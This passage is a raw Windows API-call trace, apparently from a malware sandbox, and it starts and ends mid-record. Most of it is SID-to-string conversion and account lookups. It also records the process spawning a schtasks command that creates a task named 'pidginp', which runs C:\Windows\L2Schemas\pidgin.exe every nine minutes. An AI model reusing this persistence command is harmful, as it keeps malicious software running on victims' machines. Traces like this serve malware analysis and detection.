0x196ef0d1de0 [0110.666] malloc (_Size=0x18) returned 0x196ef0d1b40 [0110.667] SysStringLen (param_1="S-1-5-21-") returned 0x9 [0110.667] SysStringLen (param_1="1560258661") returned 0xa [0110.667] memcpy (in: _Dst=0x196ee777488, _Src=0x196ee7aa958, _Size=0x14 | out: _Dst=0x196ee777488) returned 0x196ee777488 [0110.667] memcpy (in: _Dst=0x196ee77749a, _Src=0x196ee7aaa18, _Size=0x16 | out: _Dst=0x196ee77749a) returned 0x196ee77749a [0110.667] free (_Block=0x196ef0d1b20) [0110.667] free (_Block=0x196ef0d1de0) [0110.667] GetSidSubAuthority (pSid=0x196ef0d0aa0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), nSubAuthority=0x2) returned 0x196ef0d0ab0 [0110.667] _ultow (in: _Dest=0xeddecfcf, _Radix=1897383216 | out: _Dest=0xeddecfcf) returned="3990802383" [0110.667] malloc (_Size=0x18) returned 0x196ef0d1a20 [0110.667] malloc (_Size=0x18) returned 0x196ef0d1d00 [0110.667] SysStringLen (param_1="S-1-5-21-1560258661") returned 0x13 [0110.667] SysStringLen (param_1="-") returned 0x1 [0110.667] memcpy (in: _Dst=0x196ee777a28, _Src=0x196ee777488, _Size=0x28 | out: _Dst=0x196ee777a28) returned 0x196ee777a28 [0110.667] memcpy (in: _Dst=0x196ee777a4e, _Src=0x196ee7aa958, _Size=0x4 | out: _Dst=0x196ee777a4e) returned 0x196ee777a4e [0110.667] free (_Block=0x196ef0d1b40) [0110.667] free (_Block=0x196ef0d1a20) [0110.667] malloc (_Size=0x18) returned 0x196ef0d1a20 [0110.667] malloc (_Size=0x18) returned 0x196ef0d1f60 [0110.667] SysStringLen (param_1="S-1-5-21-1560258661-") returned 0x14 [0110.667] SysStringLen (param_1="3990802383") returned 0xa [0110.667] memcpy (in: _Dst=0x196ee7b9bf8, _Src=0x196ee777a28, _Size=0x2a | out: _Dst=0x196ee7b9bf8) returned 0x196ee7b9bf8 [0110.667] memcpy (in: _Dst=0x196ee7b9c20, _Src=0x196ee7aa958, _Size=0x16 | out: _Dst=0x196ee7b9c20) returned 0x196ee7b9c20 [0110.668] free (_Block=0x196ef0d1d00) [0110.668] free (_Block=0x196ef0d1a20) [0110.668] GetSidSubAuthority (pSid=0x196ef0d0aa0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), nSubAuthority=0x3) returned 0x196ef0d0ab4 [0110.668] _ultow (in: _Dest=0x6bfcce57, _Radix=1897383216 | out: _Dest=0x6bfcce57) returned="1811730007" [0110.668] malloc (_Size=0x18) returned 0x196ef0d1e20 [0110.668] malloc (_Size=0x18) returned 0x196ef0d1d60 [0110.668] SysStringLen (param_1="S-1-5-21-1560258661-3990802383") returned 0x1e [0110.668] SysStringLen (param_1="-") returned 0x1 [0110.668] memcpy (in: _Dst=0x196ee7aade8, _Src=0x196ee7b9bf8, _Size=0x3e | out: _Dst=0x196ee7aade8) returned 0x196ee7aade8 [0110.668] memcpy (in: _Dst=0x196ee7aae24, _Src=0x196ee7aa958, _Size=0x4 | out: _Dst=0x196ee7aae24) returned 0x196ee7aae24 [0110.668] free (_Block=0x196ef0d1f60) [0110.676] free (_Block=0x196ef0d1e20) [0110.676] malloc (_Size=0x18) returned 0x196ef0d1ae0 [0110.676] malloc (_Size=0x18) returned 0x196ef0d1d40 [0110.676] SysStringLen (param_1="S-1-5-21-1560258661-3990802383-") returned 0x1f [0110.676] SysStringLen (param_1="1811730007") returned 0xa [0110.676] memcpy (in: _Dst=0x196ee7b9bf8, _Src=0x196ee7aade8, _Size=0x40 | out: _Dst=0x196ee7b9bf8) returned 0x196ee7b9bf8 [0110.676] memcpy (in: _Dst=0x196ee7b9c36, _Src=0x196ee7aa958, _Size=0x16 | out: _Dst=0x196ee7b9c36) returned 0x196ee7b9c36 [0110.676] free (_Block=0x196ef0d1d60) [0110.676] free (_Block=0x196ef0d1ae0) [0110.676] GetSidSubAuthority (pSid=0x196ef0d0aa0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), nSubAuthority=0x4) returned 0x196ef0d0ab8 [0110.677] _ultow (in: _Dest=0x3e8, _Radix=1897383216 | out: _Dest=0x3e8) returned="1000" [0110.677] malloc (_Size=0x18) returned 0x196ef0d1c20 [0110.677] malloc (_Size=0x18) returned 0x196ef0d1e80 [0110.677] SysStringLen (param_1="S-1-5-21-1560258661-3990802383-1811730007") returned 0x29 [0110.677] SysStringLen (param_1="-") returned 0x1 [0110.677] memcpy (in: _Dst=0x196ee7aade8, _Src=0x196ee7b9bf8, _Size=0x54 | out: _Dst=0x196ee7aade8) returned 0x196ee7aade8 [0110.677] memcpy (in: _Dst=0x196ee7aae3a, _Src=0x196ee7aa958, _Size=0x4 | out: _Dst=0x196ee7aae3a) returned 0x196ee7aae3a [0110.677] free (_Block=0x196ef0d1d40) [0110.677] free (_Block=0x196ef0d1c20) [0110.677] malloc (_Size=0x18) returned 0x196ef0d1c20 [0110.677] malloc (_Size=0x18) returned 0x196ef0d20a0 [0110.677] SysStringLen (param_1="S-1-5-21-1560258661-3990802383-1811730007-") returned 0x2a [0110.677] SysStringLen (param_1="1000") returned 0x4 [0110.677] memcpy (in: _Dst=0x196ee7b9bf8, _Src=0x196ee7aade8, _Size=0x56 | out: _Dst=0x196ee7b9bf8) returned 0x196ee7b9bf8 [0110.677] memcpy (in: _Dst=0x196ee7b9c4c, _Src=0x196ee7aa958, _Size=0xa | out: _Dst=0x196ee7b9c4c) returned 0x196ee7b9c4c [0110.677] free (_Block=0x196ef0d1e80) [0110.677] free (_Block=0x196ef0d1c20) [0110.677] SysStringLen (param_1="S-1-5-21-1560258661-3990802383-1811730007-1000") returned 0x2e [0110.677] malloc (_Size=0x5e) returned 0x196ef0d03e0 [0110.677] free (_Block=0x196ef0d20a0) [0110.677] malloc (_Size=0x18) returned 0x196ef0d1ce0 [0110.678] free (_Block=0x196ef0d03e0) [0110.678] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x196ef0d0aa0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), Name=0x0, cchName=0x67117c600, ReferencedDomainName=0x0, cchReferencedDomainName=0x67117c668, peUse=0x67117c6f0 | out: Name=0x0, cchName=0x67117c600, ReferencedDomainName=0x0, cchReferencedDomainName=0x67117c668, peUse=0x67117c6f0) returned 0 [0110.679] GetLastError () returned 0x7a [0110.679] malloc (_Size=0x1a) returned 0x196ef0fa000 [0110.679] malloc (_Size=0xe) returned 0x196ef0d1d40 [0110.679] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x196ef0d0aa0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), Name=0x196ef0fa000, cchName=0x67117c600, ReferencedDomainName=0x196ef0d1d40, cchReferencedDomainName=0x67117c668, peUse=0x67117c6f0 | out: Name="RDhJ0CNFevzX", cchName=0x67117c600, ReferencedDomainName="XC64ZB", cchReferencedDomainName=0x67117c668, peUse=0x67117c6f0) returned 1 [0110.681] malloc (_Size=0x18) returned 0x196ef0d1be0 [0110.681] malloc (_Size=0x18) returned 0x196ef0d1e00 [0110.681] free (_Block=0x196ef0fa000) [0110.681] free (_Block=0x196ef0d1d40) [0110.681] free (_Block=0x196ef0f9f10) [0110.681] free (_Block=0x196ef0d1e00) [0110.681] free (_Block=0x196ef0d1be0) [0110.681] free (_Block=0x196ef0d1ce0) [0110.682] free (_Block=0x196ef0d0a90) [0110.682] SetEvent (hEvent=0x248) returned 1 [0110.683] free (_Block=0x196ef0d5870) [0110.683] CreateEnvironmentBlock () returned 0x1 [0110.688] malloc (_Size=0x18) returned 0x196ef0d1fa0 [0110.688] CreateProcessAsUserW (in: hToken=0x270, lpApplicationName=0x0, lpCommandLine="schtasks.exe /create /tn \"pidginp\" /sc MINUTE /mo 9 /tr \"'C:\\Windows\\L2Schemas\\pidgin.exe'\" /f", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x1000428, lpEnvironment=0x196ef1f3020, lpCurrentDirectory=0x0, lpStartupInfo=0x67117c860*(cb=0x68, lpReserved=0x0, lpDesktop="", lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x5, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x67117c708 | out: lpCommandLine="schtasks.exe /create /tn \"pidginp\" /sc MINUTE /mo 9 /tr \"'C:\\Windows\\L2Schemas\\pidgin.exe'\" /f", lpProcessInformation=0x67117c708*(hProcess=0x260, hThread=0x264, dwProcessId=0x1254, dwThreadId=0x1228)) returned 1 [0110.697] CloseHandle (hObject=0x260) returned 1 [0110.697] CloseHandle (hObject=0x264) returned 1 [0110.697] free (_Block=0x196ef0d1fa0) [0110.697] DestroyEnvironmentBlock () returned 0x1 [0110.698] malloc (_Size=0x48) returned 0x196ef0d5f00 [0110.698] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117c6e0 | out: lpSystemTimeAsFileTime=0x67117c6e0*(dwLowDateTime=0x22d4eb7d, dwHighDateTime=0x1d9eb0c)) [0110.698] SetEvent (hEvent=0x248) returned 1 [0110.699] CloseHandle (hObject=0x26c) returned 1 [0110.699] CloseHandle (hObject=0x270) returned 1 [0110.705] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x4) returned 0x196ee788350 [0110.705] SetThreadPreferredUILanguages (in: dwFlags=0x8, pwszLanguagesBuffer=0x196ee788350, pulNumLanguages=0x67117dfe0 | out: pulNumLanguages=0x67117dfe0) returned 1 [0110.705] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee788350) returned 1 [0110.705] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee788330) returned 1 [0111.616] RtlRestoreLastWin32Error () returned 0x670dbf000 [0111.616] GetThreadPreferredUILanguages (in: dwFlags=0x40, pulNumLanguages=0x67117df18, pwszLanguagesBuffer=0x0, pcchLanguagesBuffer=0x67117de10 | out: pulNumLanguages=0x67117df18, pwszLanguagesBuffer=0x0, pcchLanguagesBuffer=0x67117de10) returned 1 [0111.617] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x8) returned 0x196ee788330 [0111.617] RtlRestoreLastWin32Error () returned 0x670dbf000 [0111.617] GetThreadPreferredUILanguages (in: dwFlags=0x40, pulNumLanguages=0x67117df18, pwszLanguagesBuffer=0x196ee788330, pcchLanguagesBuffer=0x67117de10 | out: pulNumLanguages=0x67117df18, pwszLanguagesBuffer=0x196ee788330, pcchLanguagesBuffer=0x67117de10) returned 1 [0111.617] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x8) returned 0x196ee788350 [0111.617] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee788330) returned 1 [0111.617] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x14) returned 0x196ee7a7d80 [0111.617] SetThreadPreferredUILanguages (in: dwFlags=0x8, pwszLanguagesBuffer=0x196ee7a7d80, pulNumLanguages=0x67117df18 | out: pulNumLanguages=0x67117df18) returned 1 [0111.617] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee7a7d80) returned 1 [0111.619] _wcsicmp (_String1="Create", _String2="Create") returned 0 [0111.620] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0111.620] ?Release@CWbemObject@@UEAAKXZ () returned 0x1 [0111.620] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0111.620] ?Release@CWbemObject@@UEAAKXZ () returned 0x1 [0111.629] GetCurrentThread () returned 0xfffffffffffffffe [0111.629] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0xb, OpenAsSelf=1, TokenHandle=0x67117c7a0 | out: TokenHandle=0x67117c7a0*=0x270) returned 1 [0111.630] DuplicateTokenEx (in: hExistingToken=0x270, dwDesiredAccess=0xb, lpTokenAttributes=0x0, ImpersonationLevel=0x2, TokenType=0x19600000001, phNewToken=0x67117c7b8 | out: phNewToken=0x67117c7b8*=0x26c) returned 1 [0111.630] GetTokenInformation (in: TokenHandle=0x270, TokenInformationClass=0x1, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x67117c740 | out: TokenInformation=0x0, ReturnLength=0x67117c740) returned 0 [0111.630] GetLastError () returned 0x7a [0111.630] malloc (_Size=0x2c) returned 0x196ef0d0f90 [0111.630] GetTokenInformation (in: TokenHandle=0x270, TokenInformationClass=0x1, TokenInformation=0x196ef0d0f90, TokenInformationLength=0x2c, ReturnLength=0x67117c740 | out: TokenInformation=0x196ef0d0f90, ReturnLength=0x67117c740) returned 1 [0111.630] IsValidSid (pSid=0x196ef0d0fa0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65))) returned 1 [0111.630] GetLengthSid (pSid=0x196ef0d0fa0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65))) returned 0x1c [0111.630] malloc (_Size=0x1c) returned 0x196ef0f9a90 [0111.630] CopySid (in: nDestinationSidLength=0x1c, pDestinationSid=0x196ef0f9a90, pSourceSid=0x196ef0d0fa0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)) | out: pDestinationSid=0x196ef0f9a90*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65))) returned 1 [0111.630] GetSidIdentifierAuthority (pSid=0x196ef0d0fa0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65))) returned 0x196ef0d0fa2 [0111.630] malloc (_Size=0x18) returned 0x196ef0d1f40 [0111.630] _ultow (in: _Dest=0x5, _Radix=1897383216 | out: _Dest=0x5) returned="5" [0111.630] malloc (_Size=0x18) returned 0x196ef0d1e80 [0111.630] malloc (_Size=0x18) returned 0x196ef0d1d00 [0111.630] SysStringLen (param_1="S-1-") returned 0x4 [0111.630] SysStringLen (param_1="5") returned 0x1 [0111.630] memcpy (in: _Dst=0x196ee7c75b8, _Src=0x196ee7aaa48, _Size=0xa | out: _Dst=0x196ee7c75b8) returned 0x196ee7c75b8 [0111.630] memcpy (in: _Dst=0x196ee7c75c0, _Src=0x196ee7aab38, _Size=0x4 | out: _Dst=0x196ee7c75c0) returned 0x196ee7c75c0 [0111.630] free (_Block=0x196ef0d1f40) [0111.630] free (_Block=0x196ef0d1e80) [0111.631] GetSidSubAuthorityCount (pSid=0x196ef0d0fa0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65))) returned 0x196ef0d0fa1 [0111.631] GetSidSubAuthority (pSid=0x196ef0d0fa0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), nSubAuthority=0x0) returned 0x196ef0d0fa8 [0111.631] _ultow (in: _Dest=0x15, _Radix=1897383216 | out: _Dest=0x15) returned="21" [0111.631] malloc (_Size=0x18) returned 0x196ef0d1ec0 [0111.631] malloc (_Size=0x18) returned 0x196ef0d2080 [0111.631] SysStringLen (param_1="S-1-5") returned 0x5 [0111.631] SysStringLen (param_1="-") returned 0x1 [0111.631] memcpy (in: _Dst=0x196ee7aab38, _Src=0x196ee7c75b8, _Size=0xc | out: _Dst=0x196ee7aab38) returned 0x196ee7aab38 [0111.631] memcpy (in: _Dst=0x196ee7aab42, _Src=0x196ee7aaa48, _Size=0x4 | out: _Dst=0x196ee7aab42) returned 0x196ee7aab42 [0111.631] free (_Block=0x196ef0d1d00) [0111.631] free (_Block=0x196ef0d1ec0) [0111.631] malloc (_Size=0x18) returned 0x196ef0d20c0 [0111.631] malloc (_Size=0x18) returned 0x196ef0d1c60 [0111.631] SysStringLen (param_1="S-1-5-") returned 0x6 [0111.631] SysStringLen (param_1="21") returned 0x2 [0111.631] memcpy (in: _Dst=0x196ee7aaa48, _Src=0x196ee7aab38, _Size=0xe | out: _Dst=0x196ee7aaa48) returned 0x196ee7aaa48 [0111.631] memcpy (in: _Dst=0x196ee7aaa54, _Src=0x196ee7c75b8, _Size=0x6 | out: _Dst=0x196ee7aaa54) returned 0x196ee7aaa54 [0111.631] free (_Block=0x196ef0d2080) [0111.631] free (_Block=0x196ef0d20c0) [0111.631] GetSidSubAuthority (pSid=0x196ef0d0fa0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), nSubAuthority=0x1) returned 0x196ef0d0fac [0111.631] _ultow (in: _Dest=0x5cffa865, _Radix=1897383216 | out: _Dest=0x5cffa865) returned="1560258661" [0111.632] malloc (_Size=0x18) returned 0x196ef0d1f20 [0111.632] malloc (_Size=0x18) returned 0x196ef0d1f40 [0111.632] SysStringLen (param_1="S-1-5-21") returned 0x8 [0111.632] SysStringLen (param_1="-") returned 0x1 [0111.632] memcpy (in: _Dst=0x196ee7c75b8, _Src=0x196ee7aaa48, _Size=0x12 | out: _Dst=0x196ee7c75b8) returned 0x196ee7c75b8 [0111.632] memcpy (in: _Dst=0x196ee7c75c8, _Src=0x196ee7aab38, _Size=0x4 | out: _Dst=0x196ee7c75c8) returned 0x196ee7c75c8 [0111.632] free (_Block=0x196ef0d1c60) [0111.632] free (_Block=0x196ef0d1f20) [0111.632] malloc (_Size=0x18) returned 0x196ef0d20e0 [0111.632] malloc (_Size=0x18) returned 0x196ef0d1a40 [0111.632] SysStringLen (param_1="S-1-5-21-") returned 0x9 [0111.632] SysStringLen (param_1="1560258661") returned 0xa [0111.632] memcpy (in: _Dst=0x196ee777fc8, _Src=0x196ee7c75b8, _Size=0x14 | out: _Dst=0x196ee777fc8) returned 0x196ee777fc8 [0111.632] memcpy (in: _Dst=0x196ee777fda, _Src=0x196ee7aaa48, _Size=0x16 | out: _Dst=0x196ee777fda) returned 0x196ee777fda [0111.632] free (_Block=0x196ef0d1f40) [0111.632] free (_Block=0x196ef0d20e0) [0111.632] GetSidSubAuthority (pSid=0x196ef0d0fa0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), nSubAuthority=0x2) returned 0x196ef0d0fb0 [0111.632] _ultow (in: _Dest=0xeddecfcf, _Radix=1897383216 | out: _Dest=0xeddecfcf) returned="3990802383" [0111.632] malloc (_Size=0x18) returned 0x196ef0d1ee0 [0111.632] malloc (_Size=0x18) returned 0x196ef0d1aa0 [0111.632] SysStringLen (param_1="S-1-5-21-1560258661") returned 0x13 [0111.632] SysStringLen (param_1="-") returned 0x1 [0111.633] memcpy (in: _Dst=0x196ee777618, _Src=0x196ee777fc8, _Size=0x28 | out: _Dst=0x196ee777618) returned 0x196ee777618 [0111.633] memcpy (in: _Dst=0x196ee77763e, _Src=0x196ee7c75b8, _Size=0x4 | out: _Dst=0x196ee77763e) returned 0x196ee77763e [0111.633] free (_Block=0x196ef0d1a40) [0111.633] free (_Block=0x196ef0d1ee0) [0111.633] malloc (_Size=0x18) returned 0x196ef0d1960 [0111.633] malloc (_Size=0x18) returned 0x196ef0d1a60 [0111.633] SysStringLen (param_1="S-1-5-21-1560258661-") returned 0x14 [0111.633] SysStringLen (param_1="3990802383") returned 0xa [0111.633] memcpy (in: _Dst=0x196ee7bbb58, _Src=0x196ee777618, _Size=0x2a | out: _Dst=0x196ee7bbb58) returned 0x196ee7bbb58 [0111.633] memcpy (in: _Dst=0x196ee7bbb80, _Src=0x196ee7c75b8, _Size=0x16 | out: _Dst=0x196ee7bbb80) returned 0x196ee7bbb80 [0111.633] free (_Block=0x196ef0d1aa0) [0111.633] free (_Block=0x196ef0d1960) [0111.633] GetSidSubAuthority (pSid=0x196ef0d0fa0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), nSubAuthority=0x3) returned 0x196ef0d0fb4 [0111.633] _ultow (in: _Dest=0x6bfcce57, _Radix=1897383216 | out: _Dest=0x6bfcce57) returned="1811730007" [0111.633] malloc (_Size=0x18) returned 0x196ef0d20c0 [0111.633] malloc (_Size=0x18) returned 0x196ef0d1e80 [0111.633] SysStringLen (param_1="S-1-5-21-1560258661-3990802383") returned 0x1e [0111.633] SysStringLen (param_1="-") returned 0x1 [0111.633] memcpy (in: _Dst=0x196ee7ba838, _Src=0x196ee7bbb58, _Size=0x3e | out: _Dst=0x196ee7ba838) returned 0x196ee7ba838 [0111.633] memcpy (in: _Dst=0x196ee7ba874, _Src=0x196ee7c75b8, _Size=0x4 | out: _Dst=0x196ee7ba874) returned 0x196ee7ba874 [0111.633] free (_Block=0x196ef0d1a60) [0111.634] free (_Block=0x196ef0d20c0) [0111.634] malloc (_Size=0x18) returned 0x196ef0d1f00 [0111.634] malloc (_Size=0x18) returned 0x196ef0d1f40 [0111.634] SysStringLen (param_1="S-1-5-21-1560258661-3990802383-") returned 0x1f [0111.634] SysStringLen (param_1="1811730007") returned 0xa [0111.634] memcpy (in: _Dst=0x196ee7bbb58, _Src=0x196ee7ba838, _Size=0x40 | out: _Dst=0x196ee7bbb58) returned 0x196ee7bbb58 [0111.634] memcpy (in: _Dst=0x196ee7bbb96, _Src=0x196ee7c75b8, _Size=0x16 | out: _Dst=0x196ee7bbb96) returned 0x196ee7bbb96 [0111.634] free (_Block=0x196ef0d1e80) [0111.634] free (_Block=0x196ef0d1f00) [0111.634] GetSidSubAuthority (pSid=0x196ef0d0fa0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), nSubAuthority=0x4) returned 0x196ef0d0fb8 [0111.634] _ultow (in: _Dest=0x3e8, _Radix=1897383216 | out: _Dest=0x3e8) returned="1000" [0111.634] malloc (_Size=0x18) returned 0x196ef0d1fa0 [0111.634] malloc (_Size=0x18) returned 0x196ef0d2000 [0111.634] SysStringLen (param_1="S-1-5-21-1560258661-3990802383-1811730007") returned 0x29 [0111.634] SysStringLen (param_1="-") returned 0x1 [0111.634] memcpy (in: _Dst=0x196ee7ba838, _Src=0x196ee7bbb58, _Size=0x54 | out: _Dst=0x196ee7ba838) returned 0x196ee7ba838 [0111.634] memcpy (in: _Dst=0x196ee7ba88a, _Src=0x196ee7c75b8, _Size=0x4 | out: _Dst=0x196ee7ba88a) returned 0x196ee7ba88a [0111.634] free (_Block=0x196ef0d1f40) [0111.634] free (_Block=0x196ef0d1fa0) [0111.634] malloc (_Size=0x18) returned 0x196ef0d1da0 [0111.634] malloc (_Size=0x18) returned 0x196ef0d1b40 [0111.634] SysStringLen (param_1="S-1-5-21-1560258661-3990802383-1811730007-") returned 0x2a [0111.634] SysStringLen (param_1="1000") returned 0x4 [0111.635] memcpy (in: _Dst=0x196ee7bbb58, _Src=0x196ee7ba838, _Size=0x56 | out: _Dst=0x196ee7bbb58) returned 0x196ee7bbb58 [0111.635] memcpy (in: _Dst=0x196ee7bbbac, _Src=0x196ee7c75b8, _Size=0xa | out: _Dst=0x196ee7bbbac) returned 0x196ee7bbbac [0111.635] free (_Block=0x196ef0d2000) [0111.635] free (_Block=0x196ef0d1da0) [0111.635] SysStringLen (param_1="S-1-5-21-1560258661-3990802383-1811730007-1000") returned 0x2e [0111.635] malloc (_Size=0x5e) returned 0x196ef0d0370 [0111.635] free (_Block=0x196ef0d1b40) [0111.635] malloc (_Size=0x18) returned 0x196ef0d1a20 [0111.635] free (_Block=0x196ef0d0370) [0111.635] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x196ef0d0fa0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), Name=0x0, cchName=0x67117c600, ReferencedDomainName=0x0, cchReferencedDomainName=0x67117c668, peUse=0x67117c6f8 | out: Name=0x0, cchName=0x67117c600, ReferencedDomainName=0x0, cchReferencedDomainName=0x67117c668, peUse=0x67117c6f8) returned 0 [0111.637] GetLastError () returned 0x7a [0111.637] malloc (_Size=0x1a) returned 0x196ef0f9cd0 [0111.637] malloc (_Size=0xe) returned 0x196ef0d20a0 [0111.637] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x196ef0d0fa0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), Name=0x196ef0f9cd0, cchName=0x67117c600, ReferencedDomainName=0x196ef0d20a0, cchReferencedDomainName=0x67117c668, peUse=0x67117c6f8 | out: Name="RDhJ0CNFevzX", cchName=0x67117c600, ReferencedDomainName="XC64ZB", cchReferencedDomainName=0x67117c668, peUse=0x67117c6f8) returned 1 [0111.643] malloc (_Size=0x18) returned 0x196ef0d1b00 [0111.643] malloc (_Size=0x18) returned 0x196ef0d1b40 [0111.643] free (_Block=0x196ef0f9cd0) [0111.643] free (_Block=0x196ef0d20a0) [0111.644] free (_Block=0x196ef0f9a90) [0111.644] free (_Block=0x196ef0d1b40) [0111.644] free (_Block=0x196ef0d1b00) [0111.644] free (_Block=0x196ef0d1a20) [0111.644] free (_Block=0x196ef0d0f90) [0111.645] GetVersionExW (in: lpVersionInformation=0x67117c8d0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x6, dwMinorVersion=0xee7b29f8, dwBuildNumber=0x196, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x67117c8d0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0111.645] GetTokenInformation (in: TokenHandle=0x270, TokenInformationClass=0x1, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x67117c740 | out: TokenInformation=0x0, ReturnLength=0x67117c740) returned 0 [0111.645] GetLastError () returned 0x7a [0111.645] malloc (_Size=0x2c) returned 0x196ef0d0d90 [0111.645] GetTokenInformation (in: TokenHandle=0x270, TokenInformationClass=0x1, TokenInformation=0x196ef0d0d90, TokenInformationLength=0x2c, ReturnLength=0x67117c740 | out: TokenInformation=0x196ef0d0d90, ReturnLength=0x67117c740) returned 1 [0111.645] IsValidSid (pSid=0x196ef0d0da0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65))) returned 1 [0111.645] GetLengthSid (pSid=0x196ef0d0da0*(Revision=0x1, 